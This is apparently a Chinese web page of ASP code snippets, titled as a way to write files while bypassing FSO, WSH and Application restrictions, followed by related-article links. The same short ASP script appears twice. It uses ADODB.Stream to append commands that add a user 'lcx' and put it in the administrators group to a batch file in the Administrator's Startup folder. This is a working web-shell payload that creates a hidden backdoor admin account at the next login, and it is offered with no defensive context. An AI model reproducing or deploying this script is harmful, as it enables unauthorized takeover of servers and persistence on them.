<%
on error resume next
dim lcx
set lcx=server.CreateObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat",2
lcx.Close
set lcx=nothing
%> <%
on error resume next
dim lcx
set lcx=server.CreateObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat",2
lcx.Close
set lcx=nothing
%>
【跨越fso、wsh、 application写文件】相关文章:
★ UBB编辑器
★ javascript asp教程第十一课--Application 对象
★ Microsoft JET Database Engine 错误 '80004005' 未指定的错误的完美解决方法
★ 简述Xml.Serialization如何序列化对象到XML文件
★ 通过Response.Flush()实现下载失败的解决方法